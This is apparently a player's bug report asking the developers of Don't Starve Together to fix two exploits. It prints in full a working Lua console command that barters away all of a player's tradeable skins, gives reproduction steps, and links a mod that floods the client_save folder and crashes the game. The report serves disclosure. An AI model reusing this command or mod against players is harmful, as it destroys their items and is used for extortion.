Some modders have started using special commands to unravel people's skins or hack their game. Most of the time, these loopholes are used to threaten players into doing something. At the moment, I have a command to untangle skins and a mod to fill the client_save folder to break DST.
Command(Thanks to Kipper for providing this command):
local function a()local b=GetInventorySkinsList(true)for c,d in ipairs(b)do if TheItems:GetBarterSellPrice(d.item)<=0 then b[c]=nil end end;return b end;local e=#a(true)local function f()local c,d=next(a(true))if d and d.item then local g=GetFirstOwnedItemId(d.item)local h=TheItems:GetBarterSellPrice(d.item)return g,h end;e=e-1;return nil end;local i={}local function j()TheItems:BarterGainItem("feet_formal_stilettop_black_scribble",45,function(k,l)scheduler:ExecuteInTime(0,function()i.Lose(f())end)end)end;local function m(g,h)if g and h then TheItems:BarterLoseItem(g,h,function(k,l)scheduler:ExecuteInTime(0,function()if e<=0 then i.Buy()else i.Lose(f())end end)end)else i.Buy()end end;i={Buy=j,Lose=m}i.Lose(f())
Mod link:
https://steamcommunity.com/sharedfiles/filedetails/?id=3495331309
Please fix these two loopholes. Just saying I'm not a modder and I just know people who suffered from these bugs.
1. Enter the command above in the console
2. Restart the game
3. Now you don't have any original skins.
1. Subscribe to the mod using the link above
2. Restart the game
3. Wait ~5 seconds until the game crashes
4. Enter the client_save folder to see a bunch of files with DIMABYTE at the beginning of the name.
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